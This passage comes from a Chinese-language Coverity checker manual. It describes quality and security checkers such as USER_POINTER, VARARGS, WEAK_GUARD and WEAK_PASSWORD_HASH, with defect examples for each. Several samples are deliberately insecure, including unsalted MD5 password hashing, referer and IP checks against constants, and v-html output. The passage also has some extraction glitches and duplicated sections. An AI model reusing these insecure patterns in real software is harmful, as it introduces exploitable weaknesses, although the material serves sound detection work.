##### 4.349.2. 示例

本部分提供了一个或多个 `USER_POINTER` 示例。

下面的示例包含缺陷，因为 `pstr` 通过 `copyin()` 方法被从用户空间中正确复制进来，但其字段 `ps_argvstr`（指向用户空间内存的另一个指针）被通过表达式 `pstr.ps_argvstr[i]` 进行了不安全的解引用。

```

void user_pointer_example() {
 error = copyin((void *)p->p_sysent->sv_psstrings, &pstr, sizeof(pstr));
 if (error)
 return (error);
}

```

```
for (i = 0; i < pstr.ps_nargvstr; i++) {
 sbuf_copyin(sb, pstr.ps_argvstr[i], 0);
 sbuf_printf(sb, "%c", '\0');
}
}
```

#### 4.349.3. 模型

您可以使用 `__coverity_user_pointer__` 原语为 USER\_POINTER 创建自定义模型：

```
unsigned long custom_user_to_kernel_copy(void *to, const void *from, unsigned long n)
{
 __coverity_user_pointer__(to);
}
```

此模型表明 `custom_user_to_kernel_copy()` 会将不受信任的用户空间内存复制到 `to` 指向的结构中。

#### 4.349.4. 事件

本部分描述了 USER\_POINTER 检查器生成的一个或多个事件。

- `user_to_kernel` - 对函数的调用将数据从用户空间内存复制到了内核空间内存中。
- `user_pointer` - 用户指针被传递给解引用函数，或者发生了本地解引用。

### 4.350. VARARGS

质量检查器

#### 4.350.1. 概述

支持的语言： C、C++、Objective-C、Objective-C++

VARARGS 可通过标准头文件 `stdarg.h` 验证是否正确使用了变量参数宏。



Note

此检查器仅适用于通过 gcc 编译以及一些可能基于 gcc 的编译器编译的代码。

此检查器强制执行的规则包括：

- `va_start` 或 `va_copy` 后面必须紧接 `va_end`。
- `va_start` 或 `va_copy` 必须在 `va_arg` 之前调用。

错误地使用这些宏可能导致内存损坏或无法预测的行为。

默认启用： VARARGS 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.350.2. 示例

本部分提供了一个或多个 VARARGS 示例。

在此示例中，va\_end 未被调用：

```
void missing_vaend(char *s, ...)
{
 va_list va;
 va_start(va, s); // va_init - va_start is called on va
 vfprintf(log, s, ap);
} // missing_va_end - reached end of function without calling va_end
```

下一个示例在使用 va 之前未将其初始化（通过 va\_start 或 va\_copy）。

```
void missing_vastart(int n, ...)
{
 va_list va;
 while (n-- > 0) {
 int c = va_arg(va, c); // va_arg - va has not been initialized
 }
}
```

### 4.350.3. 事件

本部分描述了 VARARGS 检查器生成的一个或多个事件。

- va\_arg - 使用了 va\_arg。
- va\_init - 已初始化（通过 va\_start 或 va\_copy）。
- missing\_va\_end - va\_end 在从函数返回之前未被调用。

## 4.351. VCALL\_INCTOR\_DTOR

质量检查器

### 4.351.1. 概述

支持的语言：. C/C++

此 VCALL\_INCTOR\_DTOR 检查器报告以下情况：从构造函数或类的析构函数调用虚拟方法。

此检查器报告从类构造函数或析构函数对虚拟方法进行的直接和间接调用。在间接调用情况下，将为所有从构造函数/析构函数到被调用的实际虚拟方法的嵌套调用生成附加事件。

默认禁用：VCALL\_INCTOR\_DTOR 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

### 4.351.2. 示例

本部分提供了一个或多个 VCALL\_INCTOR\_DTOR 示例。

在下面的示例中，因为我们定义了类 B 的一个对象，所以您可以预见被覆盖的 B::virtMethod 从 A 的构造函数中调用。但是，因为对象是从底层构建的 - 即基础 A 对象是在派生 B 对象之前构建的，当调用 A 的构造函数时，派生 B 尚未构造。（这就是 C++ 标准在构造函数和析构函数中禁用虚拟调用机制的原因。）

```
class A
{
public:
 A() {
 virtMethod();
 }
 virtual ~A();
 virtual void virtMethod() {
 cout << "A::virtMethod";
 }
};

class B: public A
{
public:
 B();
 virtual ~B();
 virtual void virtMethod() {
 cout << "B::virtMethod";
 }
};

int main () {
 B b; // this will print "A::virtMethod" and not "B::virtMethod"
 return 0;
}
```

以下是由于此意外行为而可能发生的崩溃的示例：

```
class A
{
public:
 A() {
 virtMethod(); // VCALL_INCTOR_DTOR is reported
 }
 virtual ~A();
 virtual void virtMethod() = 0;
};

class B: public A
{
public:
```

```

B();
virtual ~B();
virtual void virtMethod();
};

int main () {
 B b; // Results in a crash because A::virtMethod is called inside A::A constructor
 // and not B::virtMethod as it might be expected by the author of the code.
 return 0;
}

```

### 4.351.3. 事件

本部分描述了 `VCALL_INCTOR_DTOR` 检查器生成的一个或多个事件。

- `call_to_virtual_method` - 表示实际调用虚方法。
- `constructor_entry` - 构造函数的入口。
- `destructor_entry` - 析构函数的入口。
- `indirect_call_to_virtual_method` - 表示间接调用虚方法；即调用一个非虚函数，但此非虚函数调用虚方法。
- `virtual_method_decl` - 表示声明虚方法。

## 4.352. VERBOSE\_ERROR\_REPORTING

安全检查器

### 4.352.1. 概述

支持的语言：. Java

`VERBOSE_ERROR_REPORTING` 检查器查找将 Spring Boot 应用程序配置为允许在错误页面上显示异常信息或堆栈跟踪的情况。异常信息和堆栈跟踪可能包含敏感信息，因此不应显示。

默认禁用，`VERBOSE_ERROR_REPORTING` 检查器通过 `--webapp-security` 选项启用。

### 4.352.2. 示例

本部分提供了一个或多个 `VERBOSE_ERROR_REPORTING` 示例。

在下面的示例中，如果在 `.properties` 文件中将属性 `server.error.include-exception` 设置为 `true`，将显示 `VERBOSE_ERROR_REPORTING` 缺陷。

```

server.port=8081
server.address=127.0.0.1

server.error.whitelabel.enabled=true

```

```
server.error.path=/user-error
server.error.include-exception=true # defect here
```

## 4.353. VIRTUAL\_DTOR

质量检查器

### 4.353.1. 概述

支持的语言：. C++、Objective C++

VIRTUAL\_DTOR 可查找由于在删除对象之前对其执行了向上转换并且析构函数不是虚的而通过 `delete` 运算符调用了错误的析构函数或未调用任何析构函数的情况。如果继承类析构函数采用隐式定义，并且与基类析构函数执行相同的操作，该检查器不会报告缺陷。

仅当子类的析构函数不仅能调用父类的析构函数时，才会发生未定义行为。如果以下任何情况为 `true`，VIRTUAL\_DTOR 会认为类具有有实际意义的析构函数：

- 编译器未生成析构函数；用户显式指定了析构函数。
- 添加到子类中的任意字段具有析构函数。

默认启用：VIRTUAL\_DTOR 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.353.2. 示例

本部分提供了一个或多个 VIRTUAL\_DTOR 示例。

下面的代码泄漏了 `B::p`：

```
struct A {
};

struct B: public A {
 B(): p(new int) {}
 ~B() { delete p; }
 int *p;
};
void leak() {
 A *a = new B;
 // This will not invoke ~B()
 delete a;
}
```

#### Example 4.1. ignore\_empty\_dtors

在下面的示例中，通过选项 `-co VIRTUAL_DTOR:ignore_empty_dtors` 抑制了报告：

```
class X {
 ~X() {}
};
```

```

class Y: public X {
 X x;
 ~Y() {}
};

void test() {
 Y *y = new Y;
 X *x = y;
 delete x; // Does not call Y::~Y(). A defect is not reported.
}

```

之所以生成下面的报告是因为 Y 的析构函数虽然看似为空但实际上并不为空：

```

class X {
 ~X() {}
};

class Z {
 ~Z() { do_stuff(); }
};

class Y: public X {
 Z z;
 ~Y() {} // Looks empty but calls Z::~Z(), which is not empty.
};

void test() {
 Y *y = new Y;
 X *x = y;
 delete x; // Does not, but should call Y::~Y().
}

```

### 4.353.3. 选项

本部分描述了一个或多个 VIRTUAL\_DTOR 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- VIRTUAL\_DTOR:ignore\_empty\_dtors:<boolean> - 当此 C++ 选项为 true 时，该检查器会将空析构函数视为与隐式定义的析构函数相同。默认值为 VIRTUAL\_DTOR:ignore\_empty\_dtors:false  
有关示例，请参阅 Section 4.353.2, “示例”。
- VIRTUAL\_DTOR:unimplemented\_as\_empty:<boolean> - 当此 C++ 选项为 true 时，此检查器会将未实现的析构函数视为空。默认值为 VIRTUAL\_DTOR:unimplemented\_as\_empty:false.

### 4.353.4. 事件

本部分描述了 VIRTUAL\_DTOR 检查器生成的一个或多个事件。

- `delete` - 表明删除了基类的指针。
- `dtor_in_derived` - 位于继承类的析构函数中。类 `derived_class` 具有析构函数，而且它的指针被向上转换为没有虚析构函数的 `base class`。
- `non-empty_dtor_field` - 表示继承类中的字段导致该类具有非空的编译器生成析构函数，因为字段本身的类型具有有实际意义的析构函数。
- `non-trivial_dtor_base_class` - 表示基类导致继承类具有有实际意义的编译器生成析构函数，因为基类本身具有有实际意义的析构函数。
- `no_virtual_dtor` - 显示 `base class` 定义的位置。这是缺陷的主要事件，表示该类没有虚析构函数。
- `upcast` - 表明将指针向上转换为了继承类、基类的指针。

#### 4.354. VOID\_FUNCTION\_WITHOUT\_SIDE\_EFFECT

质量检查器

##### 4.354.1. 概述

支持的语言： C、C++

`VOID_FUNCTION_WITHOUT_SIDE_EFFECT` 改编自 MISRA C++-2008 Rule 0-1-8：“具有 `void` 返回类型的的所有函数都有外部其他作用。”不返回值且不具有外部其他作用的函数只会消耗时间，不会有助于生成任何输出，这不太可能满足开发者的期望。

潜在其他作用包括：

- 读取或写入文件、数据流等
- 更改非本地变量的值
- 更改具有引用类型的参数的值
- 使用易失性对象
- 引发异常
- 调用回调函数，调用 `openGL` 函数等

默认禁用：`VOID_FUNCTION_WITHOUT_SIDE_EFFECT` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

##### 4.354.2. 示例

本部分提供了一个或多个 `VOID_FUNCTION_WITHOUT_SIDE_EFFECT` 示例。

在下面的示例中，只有 `pointless` 函数和 `readExternal` 函数返回 `VOID_FUNCTION_WITHOUT_SIDE_EFFECT` 缺陷。因为其他函数都具有外部其他作用，所以不触发缺陷。

```
void pointless()
{
 int local;
 local = 0;
}

void test_printf()
{
 printf("%d\n", 100);
}

extern int ext_num;

void updateExternal()
{
 ext_num = 0;
}

volatile int v_Num;
void useVolatile()
{
 int i = 0;
 if(i == v_Num){}
}

void readExternal()
{
 int i = 0;
 if(i == ext_num){}
}

void test_new()
{
 int *p = new int;
 delete p;
}
```

#### 4.354.3. 事件

本部分描述了 VOID\_FUNCTION\_WITHOUT\_SIDE\_EFFECT 检查器生成的一个或多个事件。

- void\_function\_without\_side\_effect - 主要事件表明 void 函数没有外部其他作用。

#### 4.355. VOLATILE\_ATOMICITY

质量检查器

##### 4.355.1. 概述

支持的语言：. C# 和 Java

VOLATILE\_ATOMICITY 查找在不持有锁时对类的易失字段执行非原子更新（特别是写入使用之前从该字段中所读取数据的特定字段）的很多情况。虽然 volatile 关键字可确保某个线程写入易失字段对另一个线程可见，但它无法保证对易失字段的更新会以原子操作的形式发生。因此，如果在未采取某些措施（例如获取锁才能执行更新）保证更新的原子性的情况下执行对易失字段的更新，某些更新可能会在多个线程同时执行这些更新时丢失。

对于此检查器发现的某些缺陷，可通过使用线程安全类或库替换易失字段或对其进行原子更新来修复。在 Java 中，AtomicInteger、AtomicBoolean 或 AtomicReference 对象可能是有用的替代项，因为这些对象具有允许安全更新的比较和替换 (compare-and-swap) 方法。在 C# 中，System.Threading.Interlocked 类可以执行众多原子操作，以确保对易失字段进行原子更新。

在另一些情况下，值得去检查确认字段是否不是线程共享，因为在这种情况下可能不需要使用 volatile 修饰符，而且可以去除它以提高性能。

此检查器报告的影响（审计、高、中、低）取决于尝试量化与缺陷相关的风险的判别法。例如，如果对有问题的字段的比较显示出它具有语义意义，则我们认为该缺陷的影响较大。如果比较显示出统计性质，则我们认为该缺陷的影响较小。

默认启用：VOLATILE\_ATOMICITY 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

## 4.355.2. 示例

本部分提供了一个或多个 VOLATILE\_ATOMICITY 示例。

### 4.355.2.1. C# 示例

如下面的示例所示，适当的锁定或使用原子类型/方法是修复此类缺陷的有效方式。

```
using System.Threading;

public class Example1 {
 private volatile int x;

 public void UpdateX() {
 x++; //A VOLATILE_ATOMICITY defect here.
 }
}

public class Example2 {
 private volatile int x;
 private volatile int y;

 public void SumIntoX() {
 x = x + y; //A VOLATILE_ATOMICITY defect here.
 }
}

public class NoDefect {
 private volatile int x;
 private object aLock;
```

```

public void UpdateX() {
 lock(aLock) {
 x++; //No VOLATILE_ATOMICITY defect here.
 }
}

public class NoDefect2 {
 private volatile int x;

 public void UpdateX() {
 Interlocked.Increment(ref x); //No VOLATILE_ATOMICITY defect here.
 }
}

```

#### 4.355.2.2. Java 示例

在下面的示例中，如果 `updateCounter()` 是从多个线程中调用的，`counter` 的值可能小于调用 `updateCounter()` 的次数。

```

import java.util.concurrent.atomic.AtomicInteger;

class VolatileAtomicityExample {
 volatile int counter = 0;

 public void updateCounter() {
 counter++; //A VOLATILE_ATOMICITY defect here.
 }
}

```

适当的锁定或使用原子类型/方法是修复此类缺陷的有效方式。

```

class AtomicFieldExample {
 AtomicInteger counter;

 public void updateCounter() {
 counter.addAndGet(1); //No VOLATILE_ATOMICITY defect here.
 }
}

```

#### 4.355.3. 事件

本部分描述了 VOLATILE\_ATOMICITY 检查器生成的一个或多个事件。

- `read_volatile` - 表示对易失字段的读取。
- `intervening_update` - 表示对易失字段的更新（另一个线程可能在此线程的 `read_volatile` 和 `stale_update` 事件之间执行）。
- `stale_update` - 通过可能过时的值（由发生在此事件和 `read_volatile` 事件之间的 `intervening_update` 事件导致）更新易失字段时发生的主要事件。

## 4.356. VUE\_TEMPLATE\_UNSAFE\_VHTML\_DIRECTIVE

安全检查器

### 4.356.1. 概述

支持的语言：. JavaScript、TypeScript

VUE\_TEMPLATE\_UNSAFE\_VHTML\_DIRECTIVE 可查找 Vue 模板将数据输出到 v-html 指令的情况。此指令输出原始 HTML，如果内容不受信任、是动态生成的或者是用户提供的，则可能导致跨站点脚本 (XSS) 漏洞。检查使用 v-html 指令的所有情况，以确保它只输出受信任内容。

默认禁用：VUE\_TEMPLATE\_UNSAFE\_VHTML\_DIRECTIVE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

此检查器仅在 Audit 模式下启用。

### 4.356.2. 示例

本部分提供了一个或多个 VUE\_TEMPLATE\_UNSAFE\_VHTML\_DIRECTIVE 示例。

在下面的示例中，针对对象中作为 Vue.component() 函数的第二个参数发送的 template 属性显示 VUE\_TEMPLATE\_UNSAFE\_VHTML\_DIRECTIVE 缺陷，因为该参数包含 v-html 指令。

```
Vue.component('bazz', {
 props: ['msg'],
 template: '<div> User message: </div>'
})
```

## 4.357. WEAK\_BIOMETRIC\_AUTH

安全检查器

### 4.357.1. 概述

支持的语言：. Swift

WEAK\_BIOMETRIC\_AUTH 报告使用可以被轻松绕过的生物验证的情况。LocalAuthentication 框架提供基本的生物验证，例如使用带有 TouchID 的指纹或使用 FaceID 的面部识别。LocalAuthentication 可能适用于某些应用程序，但是在设备被破解或被盗的情况下，它可以被绕过或规避。这可能允许攻击者使用用户的凭证访问应用程序。安全性较高的应用程序应该使用 KeyChain 服务 API 来保护敏感数据或功能。

默认启用：WEAK\_BIOMETRIC\_AUTH 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

### 4.357.2. 示例

本部分提供了一个或多个 WEAK\_BIOMETRIC\_AUTH 示例。

#### 4.357.2.1. Swift

此示例使用 LAContext API (evaluatePolicy) 来执行生物验证。

```
import Foundation
import LocalAuthentication

func authenticateUser() -> Bool {
 let myContext = LAContext()
 let myLocalizedReasonString = "Biometric Authentication for Todo List Access."

 var authError: NSError?
 if #available(iOS 8.0, macOS 10.12.1, *) {
 if myContext.canEvaluatePolicy(.deviceOwnerAuthenticationWithBiometrics,
 error: &authError) {
 // Weak Biometric Authentication here
 myContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics,
 localizedReason: myLocalizedReasonString) { success, evaluateError in
 return success
 }
 }
 }
 return false
}
```

### 4.358. WEAK\_GUARD

安全检查器

#### 4.358.1. 概述

支持的语言 : C、C++、CUDA、Java、Objective-C、Objective-C++

WEAK\_GUARD 查找将不可靠数据（例如主机名、IP 地址等）与常量字符串进行比较的情况。使用此类比较，而不是验证或验证检查的代码容易遭到 DNS 定位或 IP 欺骗等攻击。Coverity 将此类检查称为“弱保护”。

虽然此检查器不检查验证或验证检查本身，但它支持自定义（用户可将某些操作标记为“受保护”[protected]）。该检查器可在另一个具有高影响的子类别中报告具有弱保护的任何此类操作。

默认禁用：WEAK\_GUARD 默认禁用。

- 要针对 C、C++、CUDA、Objective-C 和 Objective-C++ 启用 WEAK\_GUARD，请使用 cov-analyze 命令的 --enable 选项。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。
- 要针对 Java 和其他 Web 应用程序检查器启用 WEAK\_GUARD，请使用 --webapp-security 选项。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.358.2. 缺陷剖析

WEAK\_GUARD 缺陷说明了将不可靠数据（例如主机名或 IP 地址）与常量字符串进行比较的数据流路径。该路径从不可靠数据源开始，例如通过反向 DNS 查询获取的不可靠主机名。在此处开始，缺陷中的各种事

件说明了此不可靠数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该缺陷的主要事件说明了不可靠数据是如何与常量字符串进行比较的。例如，可能将不可靠的主机名与加入允许清单的域名进行了比较。如果不可靠的比较保护了敏感操作，则该缺陷也包括这方面的事件。

### 4.358.3. 示例

本部分提供了一个或多个 `WEAK_GUARD` 示例。

#### 4.358.3.1. C/C++

下面的示例使用 `gethostbyaddr` 函数执行了反向 DNS 查询，这会返回不可靠的主机名。这与常量字符串进行了比较，该检查器会将其报告为 `dns` 缺陷。

```
void test() {
 struct sockaddr_in serviceClient;
 struct hostent *hostInfo
 = gethostbyaddr((char*)&serviceClient.sin_addr,
 sizeof(serviceClient.sin_addr),
 AF_INET);

 if (strcmp(hostInfo->h_name,
 "www.domain.nonexistenttld") == 0) {
 // WEAK_GUARD DNS defect
 protected_operation();
 }
}
```

#### 4.358.3.2. Java

```
void cwe291(HttpServletRequest request) throws Exception {
 // getRemoteAddr() returns an unreliable address.
 String sourceIP = request.getRemoteAddr();
 // WEAK_GUARD: the address is compared to a constant string.
 if (sourceIP != null && sourceIP.equals("134.23.43.1")) {
 // This is a sensitive operation that depends on the weak guard.
 protectedOperation();
 }
}

void cwe290b() {
 // getProperty("user.name") returns an unreliable user name.
 // WEAK_GUARD: the user name is compared to a constant string.
 if (System.getProperty("user.name").equals("root")) {
 // This is a sensitive operation that depends on the weak guard.
 protectedOperation();
 }
}

boolean cwe293(HttpServletRequest request){
 // getHeader("referer") returns an unreliable referrer.
 String referer = request.getHeader("referer");
}
```

```
// A constant string is set to trustedReferer.
String trustedReferer = "http://www.example.com/";
// WEAK_GUARD: the referer is compared to a constant string.
if(referer.equals(trustedReferer)){
 // This is a sensitive operation that depends on the weak guard.
 protectedOperation();
}
}
```

#### 4.358.4. 选项

本部分描述了一个或多个 `WEAK_GUARD` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `WEAK_GUARD:always_report_ip_address:<boolean>` - 如果此选项被设置为 `true`，该检查器将报告子类别为 `ip_address` 的缺陷。但是，如果敏感操作依赖此类缺陷，该检查器默认将报告相关的高影响子类别缺陷 `ip_address_sensitive_op`，无需将此选项设置为 `true`。默认值为 `WEAK_GUARD:always_report_ip_address:false`。
- `WEAK_GUARD:always_report_os_login:<boolean>` - 如果此选项被设置为 `true`，该检查器将报告子类别为 `os_login` 的缺陷。但是，如果敏感操作依赖此类缺陷，该检查器默认将报告相关的高影响子类别缺陷 `os_login_sensitive_op`，无需将此选项设置为 `true`。默认值为 `WEAK_GUARD:always_report_os_login:false`。
- `WEAK_GUARD:always_report_principal_name:<boolean>` - 如果此选项被设置为 `true`，该检查器将报告子类别为 `principal_name` 的缺陷。但是，如果敏感操作依赖此类缺陷，该检查器默认将报告相关的高影响子类别缺陷 `principal_name_sensitive_op`，无需将此选项设置为 `true`。默认值为 `WEAK_GUARD:always_report_principal_name:false`。

#### 4.358.5. 模型和注解

##### 4.358.5.1. C/C++

此 `__coverity_security_operation__()` 原语表明存在敏感操作。该指令可将 `WEAK_GUARD` 检查器发现的缺陷在采用较弱防护措施控制敏感操作执行的程序中的影响级别提升为高影响。

下面的示例使用 `gethostbyaddr` 函数执行了反向 DNS 查询，这会返回不可靠的主机名。这与常量字符串进行了比较，旨在保护敏感操作访问权限（通过使用 `__coverity_security_operation__` 原语指明）。该检查器会将此报告为 `dns_sensitive_op` 缺陷，此类缺陷的影响高于将在缺少原语时报告的对应 `dns` 缺陷。

```
void test() {
 struct sockaddr_in serviceClient;
 struct hostent *hostInfo
 = gethostbyaddr((char*)&serviceClient.sin_addr,
 sizeof(serviceClient.sin_addr),
```

```

 AF_INET);

if (strcmp(hostInfo->h_name,
 "www.domain.nonexistenttld") == 0) {
 // WEAK_GUARD dns_sensitive_op defect
 __coverity_security_operation__();
 protected_operation();
}
}

```

#### 4.358.5.2. Java

下面的示例使用了 `@SensitiveOperation` 注解。

```

@SensitiveOperation native void protectedOperation();
@SensitiveOperation bool isTrusted;

boolean cwe293(HttpServletRequest request){
 // getHeader("referer") returns an unreliable referer.
 String referer = request.getHeader("referer");
 // A constant string is set to trustedReferer.
 String trustedReferer = "http://www.example.com/";
 // WEAK_GUARD: the referer is compared to a constant string.
 if(referer.equals(trustedReferer)){
 // This is a sensitive operation that depends on the weak guard.
 protectedOperation();
 // Now this is also a sensitive operation since isTrusted has been annotated.
 isTrusted = true;
 }
}

```



#### Note

《安全指令说明书》中描述的 `sensitive_operation` 指令允许您定义敏感操作。

#### 4.358.6. 事件

本部分描述了 `WEAK_GUARD` 检查器生成的一个或多个事件。

- `assign` - 将不可靠的数据从函数中的一个变量复制到了另一个变量。
- `argument` - 方法的参数使用了不可靠的数据。
- `attr` - 将不可靠的数据存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `call` - 方法调用返回了不可靠的数据。
- `concat` - 将不可靠的数据与其他数据连接。
- `map_write` - 将不可靠的数据写入了映射。
- `map_read` - 从映射中读取了不可靠的数据。

- `parm_in` - 向此方法参数传递了不可靠的数据。
- `parm_out` - 此方法参数存储了不可靠的数据。
- `remediation` - 关于修复安全漏洞的方法的信息。
- `returned` - 方法调用返回了不可靠的数据。
- `returning_value` - 当前方法返回了不可靠的数据。
- `sanitizer` - 通过净化器 (sanitizer) 传递了不可靠的数据。
- `sensitive_operation` - 调用了敏感操作。
- `unreliable_data` - 属于不可靠数据源的方法。
- `weak_guard` - ( 主要事件 ) 弱防护将不可靠的数据与常量字符串进行了比较。

## 4.359. WEAK\_PASSWORD\_HASH

安全检查器

### 4.359.1. 概述

支持的语言 : . C、C++、C#、CUDA、Java、Kotlin、Objective-C、Objective-C++、Python、Ruby、Visual Basic

WEAK\_PASSWORD\_HASH 查找通过较弱加密方式将加密 hash 函数 ( 又称为单向 hash 函数 ) 应用到密码数据的代码。在此类情况下 , 从其 hash 中检索密码需要的计算操作可能不足以确定大规模的密码破解攻击。弱 hash 示例包括以下情况 :

- 使用较弱加密方式的 hash 算法 ( 例如 MD5 ) 。
- 在未对 hash 函数多次执行迭代的情况下进行 hash 处理。
- 在未使用 salt 作为输入的一部分的情况下进行 hash 处理。
- 使用不是随机的并且为每个密码单独选择的 salt 进行 hash 处理。

建议的 hash 敏感密码数据的方法是 , 为想要对其进行 hash 处理的每个密码生成随机字节序列 (salt) 以进行 hash 处理 , 使用自适应 hash 函数 ( 例如 bcrypt 、 scrypt 和 PBKDF2 [ 基于密码的密钥推导函数 2] ) hash 密码和 salt , 然后存储该 hash 和 salt 以供后续密码检查。

- 默认启用 : WEAK\_PASSWORD\_HASH 默认对 Kotlin 和 Ruby 启用。有关启用/禁用详情和选项 , 请参阅 Section 1.2, “ 启用和禁用检查器 ”
- 默认禁用 : WEAK\_PASSWORD\_HASH 默认对 C 、 C++ 、 CUDA 、 Objective-C 和 Objective-C++ 禁用。要针对这些语言启用 WEAK\_PASSWORD\_HASH , 请使用 cov-analyze 命令的 --enable 选项。有关启用/禁用详情和选项 , 请参阅 Section 1.2, “ 启用和禁用检查器 ” 。
- 默认禁用 : WEAK\_PASSWORD\_HASH 默认对 C# 、 Java 、 Python 和 Visual Basic 禁用。

- 要针对这些语言和其他 Web 应用程序检查器启用 `WEAK_PASSWORD_HASH`，请使用 `--webapp-security` 选项。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。
- 对于 Java，也可以通过在 `cov-analyze` 命令中使用 `--android-security` 选项启用 `WEAK_PASSWORD_HASH` 以及其他 Java Android 安全检查器。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.359.2. 缺陷剖析

`WEAK_PASSWORD_HASH` 缺陷说明了将密码数据作为输入传递给弱 hash 操作的数据流路径。该路径显示了密码数据的源，例如返回此类数据的方法调用，或名称表明其包含密码数据的标识符。在此处开始，缺陷中的各种事件说明了此密码数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该路径显示了用于设置弱 hash 操作的各种加密数据元素，例如其 hash 算法及其输入。特别是，该路径显示了敏感密码数据是如何流入其中一个输入的。最后，缺陷的主要事件显示了对输入密码数据执行弱 hash 操作的点。

Ruby

使用 SHA1 或 MD5 将被报告为安全问题。

#### 4.359.3. 示例

本部分提供了一个或多个 `WEAK_PASSWORD_HASH` 示例。

##### 4.359.3.1. C/C++

下面的示例使用弱 hash 算法 (SHA-512) 而不是使用 salt 对密码进行 hash 处理，该检查器会将其报告为此代码存在 `weak_hash_no_salt` 缺陷。

```
void test() {
 HCRYPTPROV hCryptProv;
 HCRYPTHASH hHash;
 UCHAR calcHash[64];
 DWORD hashSize = 64;
 char password[128];

 CryptAcquireContextW(&hCryptProv, 0, 0, PROV_RSA_FULL, 0);
 CryptCreateHash(hCryptProv, CALG_SHA_512, 0, 0, &hHash);

 CryptHashData(hHash, (BYTE*)password, strlen(password), 0);
 CryptGetHashParam(hHash, HP_HASHVAL, (BYTE*)calcHash, &hashSize, 0);
 //WEAK_PASSWORD_HASH defect
}
```

##### 4.359.3.2. Java

下面的示例使用弱 hash 算法 (MD5) 而不是使用 salt 对密码进行 hash 处理，该检查器会将其报告为此代码存在 `weak_hash_no_salt` 缺陷。

```
public byte[] hashPassword(String password)
 throws NoSuchAlgorithmException, UnsupportedEncodingException
{
 MessageDigest hash = MessageDigest.getInstance("MD5");
 return hash.digest(password.getBytes("UTF-8"));
}
```

下面的示例使用唯一的随机 salt 对每个密码进行 hash 处理，但使用了不可迭代的 hash 函数。因此，该检查器会报告此代码存在 weak\_hash 缺陷。但是，您可以通过指定 allow-sha2 检查器选项抑制此报告。

```
public byte[] hashPassword(PasswordAuthentication pa)
 throws NoSuchAlgorithmException, UnsupportedEncodingException
{
 MessageDigest hash = MessageDigest.getInstance("SHA-512");
 SecureRandom prng = SecureRandom.getInstance("SHA1PRNG");
 hash.update(prng.generateSeed(32));
 return hash.digest(new String(pa.getPassword()).getBytes("UTF-8"));
}
```

#### 4.359.3.3. C#

下面的示例说明了弱密码 hash 方法，因为使用了 MD5。此外，此处的该 hash 未使用 salt。

```
using System;
using System.Security.Cryptography;
using System.Text;

public byte[] GetPasswordHash1(string password)
{
 var hash = HashAlgorithm.Create("MD5");
 return hash.ComputeHash(Encoding.UTF8.GetBytes(password)); // defect
}
```

下面的示例说明了弱密码 hash 方法，因为使用了 MD5。此外，此处的 salt 已修复。

```
public byte[] GetPasswordHash2(string password)
{
 const string SALT = "Hc4HsaNJ69haeu6uKhsJnAKp";

 var hash = HashAlgorithm.Create("MD5");
 return hash.ComputeHash(Encoding.UTF8.GetBytes(password + SALT)); // defect
}
```

#### 4.359.3.4. Kotlin

下面的示例说明了弱密码 hash 方法，因为使用了 MD5。针对调用 digest.digest() 报告缺陷。

```
fun hash(pwd: ByteArray): ByteArray {
 var digest: MessageDigest = MessageDigest.getInstance("MD5");
 digest.update(pwd);
```

```

 return digest.digest();
}

```

#### 4.359.3.5. Kotlin

下面的示例说明了弱密码 hash 方法，因为使用了 MD5。针对调用 `digest.digest()` 报告缺陷。

```

fun hash(pwd: ByteArray): ByteArray {
 var digest: MessageDigest = MessageDigest.getInstance("MD5");
 digest.update(pwd);
 return digest.digest();
}

```

#### 4.359.3.6. Python

Django 根据 `PASSWORD_HASHERS` 设置选择 hash 算法。`PASSWORD_HASHERS` 数组中的第一个条目将用于存储密码（如果在系统上可用）。`WEAK_PASSWORD_HASH` 标记在 Django 设置中显式定义 `PASSWORD_HASHERS` 且数组中的第一个条目不在安全密码 hasher 列表中的情况：

- `django.contrib.auth.hashers.Argon2PasswordHasher`
- `django.contrib.auth.hashers.PBKDF2PasswordHasher`
- `django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher`
- `django.contrib.auth.hashers.BCryptSHA256PasswordHasher`
- `django.contrib.auth.hashers.BCryptPasswordHasher`

在下面的示例中，针对 `PASSWORD_HASHERS` 数组中的第一个 hasher 显示了 `WEAK_PASSWORD_HASH` 缺陷，因为 `django.contrib.auth.hashers.UnsaltedSHA1PasswordHasher` 不是已知的安全密码 hasher。

```

PASSWORD_HASHERS = [
 'django.contrib.auth.hashers.UnsaltedSHA1PasswordHasher', #defect here
 'django.contrib.auth.hashers.PBKDF2PasswordHasher',
 'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher',
 'django.contrib.auth.hashers.Argon2PasswordHasher',
]

```

#### 4.359.3.7. Visual Basic

下面的示例说明了弱密码 hash 方法，因为使用了 MD5。此外，该 hash 未使用 salt。

```

Imports System
Imports System.Security.Cryptography
Imports System.Text

Public Function getPasswordHash1(password As String) As Byte()
 Dim hash = HashAlgorithm.Create("MD5")
 Return hash.ComputeHash(Encoding.UTF8.GetBytes(password)) ' defect
End Function

```

下面的示例说明了弱密码 hash 方法，因为使用了 MD5；但此处的 salt 已修复。

```
imports System
imports System.Security.Cryptography
imports System.Text

